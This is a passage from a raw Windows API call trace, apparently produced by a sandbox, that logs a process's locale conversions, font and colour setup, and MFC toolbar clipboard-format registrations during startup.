¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧĨĀ", cchSrc=256, lpDestStr=0x9ced48, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0227.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x9cf51c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x24\xf3\xe7\x8a\x58\xf7\x9c", lpUsedDefaultChar=0x0) returned 256 [0227.860] GetLastError () returned 0x0 [0227.860] SetLastError (dwErrCode=0x0) [0227.860] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9cf61c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0227.860] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9cf61c, cbMultiByte=256, lpWideCharStr=0x9cef78, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0227.860] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0227.860] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x9ced68, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0227.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x9cf41c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x24\xf3\xe7\x8a\x58\xf7\x9c", lpUsedDefaultChar=0x0) returned 256 [0227.860] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0227.860] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x127b866) returned 0x0 [0227.861] GetCurrentThread () returned 0xfffffffe [0227.861] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x9cf784, lpExitTime=0x9cf78c, lpKernelTime=0x9cf78c, lpUserTime=0x9cf78c | out: lpCreationTime=0x9cf784, lpExitTime=0x9cf78c, lpKernelTime=0x9cf78c, lpUserTime=0x9cf78c) returned 1 [0227.861] RtlInitializeSListHead (in: ListHead=0x139a0f8 | out: ListHead=0x139a0f8) [0227.863] GlobalLock (hMem=0xed0004) returned 0xb035f8 [0227.863] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0xb0d550 [0227.863] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0xb0cfc0 [0227.863] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0xb0d6c0 [0227.863] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0xb0d3a8 [0227.865] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc16f [0227.866] RegisterClipboardFormatW (lpszFormat="AFX_WM_DRAW2D") returned 0xc170 [0227.866] RegisterClipboardFormatW (lpszFormat="AFX_WM_RECREATED2DRESOURCES") returned 0xc171 [0227.867] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_AFTER_SHELL_COMMAND") returned 0xc172 [0227.867] RegisterClipboardFormatW (lpszFormat="AFX_WM_CHANGEVISUALMANAGER") returned 0xc173 [0227.867] GetSystemMetrics (nIndex=11) returned 32 [0227.868] GetSystemMetrics (nIndex=12) returned 32 [0227.868] GetSystemMetrics (nIndex=2) returned 17 [0227.868] GetSystemMetrics (nIndex=3) returned 17 [0227.868] GetDC (hWnd=0x0) returned 0xa0100d0 [0227.868] GetDeviceCaps (hdc=0xa0100d0, index=88) returned 96 [0227.868] GetDeviceCaps (hdc=0xa0100d0, index=90) returned 96 [0227.868] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0227.869] GetSysColor (nIndex=15) returned 0xf0f0f0 [0227.869] GetSysColor (nIndex=16) returned 0xa0a0a0 [0227.869] GetSysColor (nIndex=20) returned 0xffffff [0227.869] GetSysColor (nIndex=18) returned 0x0 [0227.869] GetSysColor (nIndex=6) returned 0x646464 [0227.869] GetSysColorBrush (nIndex=15) returned 0x1100074 [0227.869] GetSysColorBrush (nIndex=6) returned 0x110007c [0227.869] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0227.869] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0227.869] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0227.869] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0227.869] VerifyVersionInfoW (in: lpVersionInformation=0x9cf64c, dwTypeMask=0x3, dwlConditionMask=0x1b | out: lpVersionInformation=0x9cf64c) returned 1 [0227.869] GetSystemMetrics (nIndex=4096) returned 0 [0227.869] GetSysColor (nIndex=22) returned 0xe3e3e3 [0227.869] GetSysColor (nIndex=21) returned 0x696969 [0227.869] GetWindowDC (hWnd=0x0) returned 0x10105e0 [0227.869] LocalAlloc (uFlags=0x40, uBytes=0x54) returned 0xb02680 [0227.869] LocalReAlloc (hMem=0xb0d6c0, uBytes=0xc, uFlags=0x2) returned 0xb06ca8 [0227.870] GetDeviceCaps (hdc=0x10105e0, index=12) returned 32 [0227.870] GetSysColor (nIndex=15) returned 0xf0f0f0 [0227.870] GetSysColor (nIndex=16) returned 0xa0a0a0 [0227.870] GetSysColor (nIndex=21) returned 0x696969 [0227.870] GetSysColor (nIndex=22) returned 0xe3e3e3 [0227.870] GetSysColor (nIndex=20) returned 0xffffff [0227.870] GetSysColor (nIndex=18) returned 0x0 [0227.870] GetSysColor (nIndex=17) returned 0x6d6d6d [0227.870] GetSysColor (nIndex=6) returned 0x646464 [0227.870] GetSysColor (nIndex=13) returned 0xff9933 [0227.870] GetSysColor (nIndex=14) returned 0xffffff [0227.870] GetSysColor (nIndex=5) returned 0xffffff [0227.870] GetSysColor (nIndex=8) returned 0x0 [0227.870] GetSysColor (nIndex=9) returned 0x0 [0227.870] GetSysColor (nIndex=7) returned 0x0 [0227.870] GetSysColor (nIndex=2) returned 0xd1b499 [0227.870] GetSysColor (nIndex=3) returned 0xdbcdbf [0227.870] GetSysColor (nIndex=27) returned 0xead1b9 [0227.870] GetSysColor (nIndex=28) returned 0xf2e4d7 [0227.870] GetSysColor (nIndex=10) returned 0xb4b4b4 [0227.870] GetSysColor (nIndex=11) returned 0xfcf7f4 [0227.870] GetSysColor (nIndex=19) returned 0x0 [0227.870] GetSysColor (nIndex=26) returned 0xcc6600 [0227.870] GetSysColorBrush (nIndex=16) returned 0x1100075 [0227.870] GetSysColorBrush (nIndex=20) returned 0x1100076 [0227.870] GetSysColorBrush (nIndex=5) returned 0x110007b [0227.870] CreateSolidBrush (color=0xf0f0f0) returned 0x6100734 [0227.870] CreateSolidBrush (color=0xf0f0f0) returned 0x17100739 [0227.870] CreateSolidBrush (color=0xd1b499) returned 0x6100731 [0227.871] CreateSolidBrush (color=0xdbcdbf) returned 0x211006f6 [0227.871] CreateSolidBrush (color=0xff9933) returned 0x6f10056c [0227.871] CreateSolidBrush (color=0x696969) returned 0x810063b [0227.871] CreateSolidBrush (color=0xffffff) returned 0x3f100715 [0227.871] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0x430073e [0227.871] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0x7430056b [0227.871] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0x630074c [0227.872] CreateSolidBrush (color=0xf7f7f7) returned 0x8100741 [0227.872] ReleaseDC (hWnd=0x0, hDC=0x10105e0) returned 1 [0227.872] GetWindowDC (hWnd=0x0) returned 0x10105e0 [0227.872] GetDeviceCaps (hdc=0x10105e0, index=88) returned 96 [0227.872] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0x9cf3d4, fWinIni=0x0 | out: pvParam=0x9cf3d4) returned 1 [0227.875] GetTextCharsetInfo (in: hdc=0x10105e0, lpSig=0x0, dwFlags=0x0 | out: lpSig=0x0) returned 0 [0227.876] lstrcpyW (in: lpString1=0x9cf5e8, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0227.876] EnumFontFamiliesW (hdc=0x10105e0, lpLogfont=0x0, lpProc=0x1167ea8, lParam=0x1312eec) returned 0 [0227.880] lstrcpyW (in: lpString1=0x9cf5e8, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0227.880] CreateFontIndirectW (lplf=0x9cf5cc) returned 0x3a0a0552 [0227.880] CreateFontIndirectW (lplf=0x9cf5cc) returned 0x820a0563 [0227.880] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0x9cf1dc, fWinIni=0x0 | out: pvParam=0x9cf1dc) returned 1 [0227.880] CreateFontIndirectW (lplf=0x9cf5cc) returned 0x210a0749 [0227.880] CreateFontIndirectW (lplf=0x9cf5cc) returned 0x50a0748 [0227.880] CreateFontIndirectW (lplf=0x9cf5cc) returned 0xe0a074e [0227.881] GetSystemMetrics (nIndex=72) returned 15 [0227.881] lstrcpyW (in: lpString1=0x9cf5e8, lpString2="Marlett" | out: lpString1="Marlett") returned="Marlett" [0227.881] CreateFontIndirectW (lplf=0x9cf5cc) returned 0xc0a074a [0227.881] GetStockObject (i=17) returned 0x18a0025 [0227.881] GetObjectW (in: h=0x18a0025, c=92, pv=0x9cf5cc | out: pv=0x9cf5cc) returned 92 [0227.881] lstrcpyW (in: lpString1=0x9cf5e8, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0227.881] CreateFontIndirectW (lplf=0x9cf5cc) returned 0x20a074f [0227.881] CreateFontIndirectW (lplf=0x9cf5cc) returned 0x20a0750 [0227.881] GetStockObject (i=17) returned 0x18a0025 [0227.881] GetObjectW (in: h=0x18a0025, c=92, pv=0x9cf5cc | out: pv=0x9cf5cc) returned 92 [0227.881] CreateFontIndirectW (lplf=0x9cf5cc) returned 0x10a0751 [0227.881] CreateFontIndirectW (lplf=0x9cf5cc) returned 0x10a0752 [0227.881] GetWindowDC (hWnd=0x0) returned 0x3010738 [0227.882] SelectObject (hdc=0x3010738, h=0x3a0a0552) returned 0x18a0048 [0227.882] GetTextMetricsW (in: hdc=0x3010738, lptm=0x9cf150 | out: lptm=0x9cf150) returned 1 [0227.882] SelectObject (hdc=0x3010738, h=0x20a074f) returned 0x3a0a0552 [0227.882] GetTextMetricsW (in: hdc=0x3010738, lptm=0x9cf150 | out: lptm=0x9cf150) returned 1 [0227.882] SelectObject (hdc=0x3010738, h=0x18a0048) returned 0x20a074f [0227.882] ReleaseDC (hWnd=0x0, hDC=0x3010738) returned 1 [0227.882] DeleteObject (ho=0x18a0025) returned 1 [0227.882] ReleaseDC (hWnd=0x0, hDC=0x10105e0) returned 1 [0227.882] GetSystemMetrics (nIndex=49) returned 16 [0227.882] GetSystemMetrics (nIndex=50) returned 16 [0227.882] SetRectEmpty (in: lprc=0x1394594 | out: lprc=0x1394594) returned 1 [0227.882] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1168030, dwData=0x1394594) returned 1 [0227.883] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x9cf568 | out: lpmi=0x9cf568) returned 1 [0227.883] CopyRect (in: lprcDst=0x9cf590, lprcSrc=0x9cf57c | out: lprcDst=0x9cf590) returned 1 [0227.883] SystemParametersInfoW (in: uiAction=0x1002, uiParam=0x0, pvParam=0x13945b8, fWinIni=0x0 | out: pvParam=0x13945b8) returned 1 [0227.883] SystemParametersInfoW (in: uiAction=0x1012, uiParam=0x0, pvParam=0x13945bc, fWinIni=0x0 | out: pvParam=0x13945bc) returned 1 [0227.883] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x13945cc, fWinIni=0x0 | out: pvParam=0x13945cc) returned 1 [0227.883] RegisterClipboardFormatW (lpszFormat="TOOLBAR_POPUPMENU") returned 0xc174 [0227.883] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CUSTOMIZE") returned 0xc175 [0227.883] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CREATE") returned 0xc176 [0227.883] RegisterClipboardFormatW (lpszFormat="TOOLBAR_DELETE") returned 0xc177 [0227.883] RegisterClipboardFormatW (lpszFormat="TOOLBAR_CUSTOMIZEHELP") returned 0xc178 [0227.883] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETTOOLBAR") returned 0xc179 [0227.883] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETMENU") returned 0xc17a [0227.883] RegisterClipboardFormatW (lpszFormat="TOOLBAR_SHOWREGULARMENU") returned 0xc17b [0227.884] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETCONTEXTMENU") returned 0xc17c [0227.884] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETKEYBAORD") returned 0xc17d [0227.884] RegisterClipboardFormatW (lpszFormat="TOOLBAR_RESETRPROMPT") returned 0xc17e [0227.884] GetProfileIntW (lpAppName="windows", lpKeyName="DragMinDist", nDefault=2) returned 0x2 [0227.885] GetProfileIntW (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0227.889] RegisterClipboardFormatW (lpszFormat="MSG_CHECKEMPTYMINIFRAME") returned 0xc17f [0227.890] RegisterClipboardFormatW (lpszFormat="AFX_WM_UPDATETOOLTIPS") returned 0xc180 [0227.891] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_RENAME_TAB") returned 0xc181 [0227.891] RegisterClipboardFormatW (lpszFormat="AFX_WM_ONCHANGE_ACTIVE_TAB") returned 0xc182 [0227.891] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_MOVE_TAB") returned 0xc183 [0227.891] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_CHANGING_ACTIVE_TAB") returned 0xc184 [0227.891] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_GET_TAB_TOOLTIP") returned 0xc185 [0227.891] RegisterClipboardFormatW (lpszFormat="AFX_WM_POSTSETPREVIEWFRAME") returned 0xc186 [0227.891] GetSystemMetrics (nIndex=69) returned 4 [0227.891] GetSystemMetrics (nIndex=68) returned 4 [0227.891] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_PRESS_CLOSE_BUTTON") returned 0xc187 [0227.892] RegisterClipboardFormatW (lpszFormat="AFX_WM_AFTER_TASKBAR_ACTIVATE") returned 0xc188 [0227.892] RegisterClipboardFormatW (lpszFormat="AFX_WM_CHANGE_CURRENT_FOLDER") returned 0xc189 [0227.893] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_HSCROLL") returned 0xc18a [0227.893] RegisterClipboardFormatW 